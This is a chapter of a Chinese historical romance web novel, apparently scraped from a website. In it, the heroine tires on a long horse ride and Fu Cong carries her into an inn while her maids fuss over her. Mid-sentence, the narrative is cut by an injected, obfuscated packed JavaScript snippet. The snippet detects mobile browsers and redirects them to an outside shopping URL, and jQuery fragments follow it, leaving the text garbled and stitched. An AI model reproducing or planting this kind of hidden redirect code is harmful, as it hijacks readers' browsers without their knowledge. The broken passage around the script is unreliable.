31. 第31章
作品:《行,烂摊子都让给我!》 袁屿屿睡前专门叮嘱过傅丛,无论她自己睡没睡着,半个时辰都是极限。午觉睡过了,晚上该失眠了。要是在璟王府自然无所谓,可出门在外要是这种作风,非被人议论不可。
茶摊老板捧着一个沉甸甸的袋子谢恩,殷勤地把一行人送回官道。
离开茶摊重新上路,袁屿屿重新上马时已然不再紧张。马儿也已经记住她,此刻正温顺地等着她坐稳。
也不知是否是错觉,袁屿屿总感觉傅丛的情绪挂着一种不加掩饰的兴奋。她谨慎地复盘一圈,难不成是自己睡着时候说了梦话?再不然总不会是尝到什么甜头?想及此,她莫名抬手摸了摸唇间,却紧急止住动作,同时为这一切感到难以言喻的羞涩。
这种想法是潜移默化中形成的,说不清从何时起,傅丛的情绪变化确实伴随着他同袁屿屿的互动。不仅如此,这种互动还向着更加频繁和升温的方向滑动,到他们出发前,几乎每次见面时,他都会主动增加身体接触。从靠近到伸手摸摸脸颊或头发,再到拥抱乃至轻吻。或许他还在克制不越过某条界限,界限以内的事已经轻车熟路。
摇摇头,把注意力集中回到骑马本身。她可不敢胡思乱想继续托大,千万别再次因为没看仔细而让马踏空。
等跑了一段,袁屿屿渐渐察觉到身体的变化。中途休息仿佛是打断了身体绷住的节奏,一整个晌午前的赶路没感觉留下的疲劳,这会儿竟有了压不住的势头。
首当其冲的就是下半身的酸楚感越来越明显,马鞍的硬皮革更是快要令人坐不住了。每当她的身子跟随马儿轻跑的起伏坐下去的时候,坐骨位置都会传来一记钝痛,仿佛无时无刻不在会提醒她不断累积的疲劳度。
她尝试想用脚蹬支撑身体,好以此协助大腿绷紧撑住身子别往下坐,但很快放弃。不仅因为这样做可能导致她消耗能量更快,更重要的是身下的马似乎能感受到她传导出的异样,进而反馈出不安和可能失控的信号。
傅丛一直在她身侧,从她刚刚开始折腾就察觉了端倪。等了一会儿还不见她坐稳当,终于仍不住开口问:“如何?不舒服?”他没多想,只单纯以为休息时间太短,此刻的颠簸让她肚子痛。
袁屿屿不好意思犯矫情说马鞍太硬坐不住,只好尴尬地摇头表示,“没事。呃……我们还有多久能到。”
“以现在的速度,一个时辰能到。”傅丛眼神狐疑,上下打量她两圈,见他绝不开口,突然说:“乖一些,有事说出来,我们便能解决,这样才好快些赶路。”
袁屿屿就这样被轻易撩了一手,真切感受到自己脸颊的温度倏地腾起,一瞬间连膈人的疼痛都顾不上了。“你……”
傅丛心里反而松了口气,能对撩拨做出反应,看来应该不是大事。他知道她的马会跟随自己马的动作,故而果断主动选择减速。同时引着马又向她靠近些,“能说了?”
“真没事,就是突然开始觉得累了。后腰挺得发僵,大腿酸胀,坐……坐处也疼。”囫囵说了一通,袁屿屿只觉得脑袋“嗡嗡”直响。明明没说奇怪的话,怎么偏偏控制不住反而让气氛微妙起来。
傅丛发现自己根本无法把视线从窘迫的袁屿屿身上挪开,她害羞时候的语气和小动作,真勾得他浮想联翩,欲罢不能。
当然,他很清楚适可而止的重要性,开口说话时强忍住笑意,“是我考虑不周,第一次骑马就走了这么久,确实太勉强了。不如你换个姿势坐在我前面,马让唐芥牵着就好。”
受不了……换个姿势?袁屿屿忙不迭把头摇得像拨浪鼓。和上次受伤情况不同,那时候谁有心思想入非非,精力全放在劫后重生和肿胀疼痛的脚腕上。现在呢,刚被撩的脸发烫再侧坐在他身前,不敢想,真的不敢想这幅画面!
“不用,我……可以坚持。”虽然腰已经差不多到了极限,可袁屿屿的倔强劲儿上头,毫不退让。
傅丛也不能真上手抓人,见她坚决不肯,只好退一步说:“那我们快些走。若是真撑不住,别逞强。”
————
雪织一直撑着脑袋坐在客栈楼下的桌边等。
天色近黄昏,已经临近饭点,镇子虽然不大,但也该到一日中最繁忙的时段,老板却无心招揽食客,而是跟着一起朝外面望,压根不敢做声。原来是先行的璟王府守卫、仆从刚一到达,二话不说直接包下整家店面。老板是见过大场面的,想着等会儿必有贵客,自然眼巴巴等着。
就在雪织忍无可忍,准备跳起来亲自往镇子口走的时候,外面的黄土宽道上骤然起了烟尘。
“来了来了!”雪织一跃而起,拉上丹绣便往前冲。其他人自然也是第一时间跟上。
果然,三匹马跑在中间,另有两个本守在镇口接应的护卫。一共五人,难怪能震得这路暴土扬尘。
等一行人勒马在店门口停稳,只见唐芥一个跃身下马落地,健步直冲到傅丛那匹乌黑油亮的高头骏马身侧,一把将它按稳。
再细看马背上,竟然是袁屿屿和傅丛同在一起。傅丛的双臂越过袁屿屿的后腰和双膝,将她打横抱稳。右腿利落地抬高划出弧线,接着左脚也脱了镫子。纵身一跃,轻盈起身,双脚稳稳踩在地上。至于怀里的袁屿屿,不过是感受到了身体一起一伏,视线便已然与众人齐平了。
“夫人!”雪织见状压根顾不上两人姿势亲昵,她首先想到的可能是袁屿屿有受伤。她甚至顾不得给傅丛行了礼还在,整个人差点儿扑上来。还好一边的丹绣眼疾手快,顺势捏住她的衣袖朝后一扯。力量相冲令雪织步子乱了调,险些左脚踩右脚,自己把自己扳倒。还好丹绣的力道没撤,硬是把她重新扶正。
“雪织,毛毛躁躁的,被冲撞了公子。”
这是他们出行在外的习惯,公开场合不以“王爷”做称呼,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157711|193746||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
律换做“公子”。行走在外,低调些总没错。
“夫人看样子该无大碍,应该是累了。你别自己吓自己。”
“我没事,我没事,你别慌!”袁屿屿其实想笑,毕竟雪织此刻的样子活像只被揪住脖颈的小白兔。不过她更感念雪织对她的真情流露,更何况一定程度上,她以自己的出糗冲淡了袁屿屿因被抱着出现的窘迫,“就是我自不量力,实在骑不动了,王……公子,咳咳……出手相助。”她这话说得同样险些咬舌头,说完便低了头,心道“不好,脸又要红了”。
傅丛倒颇为享受,并不在意,甚至小声贴在她耳边说了句“夫人唤我夫君也是合适的”。转而不等她有反应,看向丹绣问:“安排的房间在哪里。”
丹绣连忙撒手,恭敬地回道:“公子这边请。”
其余人则仿佛什么都没看到,散开各司其职,栓马的栓马,找老板吩咐酒菜的朝老板去了。还是雪织格外细心,她小跑着往后厨去张罗热水,想着夫人等会儿必会用到。
总而言之,人都到齐,今日可以好好休息了。
客栈外表看着不错,内里却没那么新,走在楼梯上却接连发出“咯吱咯吱”的杂音。楼梯很窄,又没有中窗透亮,明明外面还挂着残阳,眼前居然昏暗成一片。
袁屿屿秉持着豁出去了的心境,这会儿也不觉得羞涩。她发现傅丛不愧是每天晨练习武,手臂上的力气好大,从下马走到现在,别说是停顿调整,抱她的胳膊没松下一丝一毫,她完全不用担心自己滑下去。
因为怀中人会挡掉上楼时候的视线,傅丛的步子迈得求稳不求快。前面引路的护卫走走停停,终于拐入了长廊,“公子,店面二层的房间全包下了,天字间在这边。”
这镇子规模不大,哪怕其中最好规格的酒楼客栈,挂上天字一号的房间,里面的装潢摆设仍旧不敢恭维。他们皆是从王府出来的,吃穿用度的规格摆在明面上,眼下真就只求个干净整齐、温暖安全而已。
傅丛点头,大步流星地径直朝最深处走去。停在门口,抬脚,拱开门。里面还没燃灯,不过光线也够他扫视全屋,还算不错。
侍卫连忙跟上来,“禀公子,所有房间都查过了。”
都是靠谱的人,傅丛“嗯”了一声表示满意,“下去吧,把雪织叫过来。”他知道袁屿屿等会儿坐下来如果压到酸疼处指不定会作何反应,还是让外人回避得好。
“公子我在!”雪织和丹绣是紧跟着没掉队的,听到傅丛的话,她俩连忙冲上来。
唐芥等其他人知道后面就不是该他们看的,于是直接告退,房门口顿时只剩四个人。
傅丛进了屋直奔床头走,果不其然,袁屿屿在被放下的当口全身绷得僵直,直到身体挨上床铺后,疼痛并不如预想中那般激烈,这才缓缓松了口气。旋即她抬头朝傅丛卖乖地笑笑,“见谅,我……怕疼……”

